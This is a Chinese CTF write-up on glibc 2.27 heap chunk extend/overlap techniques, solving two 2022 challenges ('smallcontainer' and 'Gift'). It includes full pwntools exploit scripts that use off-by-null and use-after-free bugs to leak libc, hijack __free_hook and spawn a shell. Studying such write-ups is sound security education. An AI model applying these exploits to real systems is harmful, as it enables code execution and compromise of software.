0%

chunk extend and overlapping

堆扩展之向上重叠与向下重叠

向上重叠

[巅峰极客 2022]smallcontainer

版本是glibc2.27,对size的检查并不严谨

通过check函数造成的off by null 实现 chunk extend 和 chunk overlap

伪造堆块的prev_size域,进行chunk extend

切割unsortbin,进行chunk overlap

学到的点:

check将\x11变为\x00时会导致chunk的大小变小,需要在chunk尾部布置堆块

free的chunk进入unsortbin时会先检查prev_size域,如果prev_size不为空,就会将本chunk的地址减掉prev_size,得到前一个chunk的首地址,并检查其是否被释放,如下图(第一个chunk是tcache,不算入,chunk编号从0开始)

free+900处,会检查前一个chunk是否被释放,方式是检查其大小与其下一个chunk的prev_size域是否相等,在此处,我是直接释放了伪造的chunk3,没有对其前一个chunk0进行释放,所以这里会跳转到free+2120报错

在对伪造堆块的前一个chunk进行伪造伪造时,我试过对chunk0和chunk1进行释放,chunk0可以,chunk1却不行,因为不太清楚unsortbin的检查机制,所以就调试了一下,为什么chunk1会不行

这里对chunk1的下一个chunk(chunk2)进行inuse的检查,因为chunk2是freed的状态,就会进行下一步检查

检查chunk3的prev_size域,此时chunk3是我们伪造的堆块,其prev_size域大小是0x600,而chunk2是0x200

所以会报错

然后chunk0前后的chunk都是used状态,所以就不会有这些额外的检查,所以总结的一点就是在这种情况下尽量布置堆块前后都没被释放,会避免很多麻烦

exp

最后用one_gadget和system都是可以的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
context.arch = 'amd64'
#context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-e']
local_file = '/home/feichai/ctf_file/service'
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def start():
if args.GDB:
gdbscript = '''
b *$rebase(0x1531)
'''
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.PROCESS:
io = process(local_file)
else:
io = remote("node4.anna.nssctf.cn",28421)

return io

def lg(s, addr):
return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def choice(index):
sla('> ',str(index))

def add(size):
choice(1)
sla('size: ',str(size)) #0x100 ~ 0x400

def free(idx):
choice(2)
sla('index: ',str(idx))

def edit(idx, content):
choice(3)
sla('index: ',str(idx))
s(content)

def show(idx):
choice(4)
sla('index: ',str(idx))

def exit_():
choice(5)

def exp():

for i in range(3): # 0-2
add(0x1f8)

add(0x208) # 3

for i in range(7): # 4-10
add(0x1f8)

for i in range(7): # 4-10
free(i+4)

edit(3,b'a'*0x1f0 + p64(0) + p64(0x11))
edit(2,b'a'*0x1f8) # off by null
edit(2,b'a'*0x1f0 + p64(0x600)) # chunk overlap

free(0)
free(3)

add(0x200) # 0
show(0)
libc_base = int(r(12),16) - 0x3ec190
lg('libc_base',libc_base)

free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']

add(0x200) # 3
free(0)
free(3)
edit(1,p64(0)+p64(0x211)+p64(free_hook))
add(0x200) # 0
add(0x200) # 3

og = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
og = og[2] + libc_base
edit(3,p64(og))
free(2)

# edit(3,p64(system_addr))
# edit(2,b'/bin/sh\x00')
# free(2)

io.interactive()

if __name__=='__main__':
exp()

向下重叠

[巅峰极客 2022]Gift

漏洞点是uaf和bargain可以输入负数从而修改heap地址

先在第一个堆块中伪造一个fack chunk,要大于0x408 (tcache的最大值)

前面加上0xb0是因为使后面在分割unsortbin的时候能够修改到 fd 指针 (这点不是很重要,不加的话就知道为什么了)

重点是伪造堆块的过程

伪造堆块

首先,在第一个chunk中伪造一个0x421的fack chunk

然后看fack chunk的位置,通过bargain函数将fd指针修改到这

0x330-0x260 = 0xd0 这里要注意tcache存的地址不包括chunk头

1
2
3
4
5
6
7
add(1,b'a'*0xb0 + p64(0) + p64(0x421)) # 0
add(1) # 1
add(1) # 2

free(0)
free(2)
bargain(2, -0xd0)

然后就是看fack chunk在哪里结束 0x320 + 0x420 = 0x740

所以我们就需要再申请几个堆块,直到能在0x740这个位置布置堆块

可以看到申请到chunk6时就可以在0x740中写入另一个fack chunk

1
2
3
4
add(1) # 3
add(1) # 4 fack
add(1) # 5
add(1,b'a'*0x90+p64(0)+p64(0x61)) # 6

伪造后堆块布局如下,这样我们释放fack chunk的时候就能够绕过检查了

exp

释放后fack chunk进入unsortbin泄露地址,选择malloc(0x60)可以切割unsortbin,然后正常的劫持free_hook为one_gadget即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
context.arch = 'amd64'
#context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-e']
local_file = '/home/feichai/ctf_file/service2'
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def start():
if args.GDB:
gdbscript = '''
b *$rebase(0x001234)
'''
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.PROCESS:
io = process(local_file)
else:
io = remote("node4.anna.nssctf.cn",28814)

return io

def lg(s, addr):
return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')

def get_leak(bytes=6):
if bytes == 4:
return u32(r(4).ljust(4, b'\x00'))
else:
return u64(r(bytes).ljust(8, b'\x00'))

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a, drop=True)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def choice(index):
sla('your choice:',str(index))

def exit():
choice(1)

def add(choose, content=b'aaaa'): # < 10
choice(2)
sla('your choice:',str(choose)) # 1:0x100 2:0x60
sa('your gift!',content)

def free(idx):
choice(3)
sla('index?',str(idx))

def show(idx):
choice(4)
sla('index?',str(idx))

def bargain(idx, num):
choice(5)
sla('index?',str(idx))
sla('How much?',str(num))

def exp():

add(1,b'a'*0xb0 + p64(0) + p64(0x421)) # 0
add(1) # 1
add(1) # 2

free(0)
free(2)
bargain(2, -0xd0)

add(1) # 3
add(1) # 4 fack
add(1) # 5
add(1,b'a'*0x90+p64(0)+p64(0x61)) # 6

free(4)
show(4)
ru(b'cost: ')
libc_base = int(ru(b'\n'),10) - 0x3ebca0
lg('libc_base',libc_base)
free_hook = libc_base + libc.symbols['__free_hook']

free(0)
free(1)
add(2, b'a'*0x30 + p64(free_hook-0x10))

og = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
og = og[2] + libc_base
add(1) # 7
add(1,p64(og)) # 8

free(5)

io.interactive()

if __name__=='__main__':
exp()
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道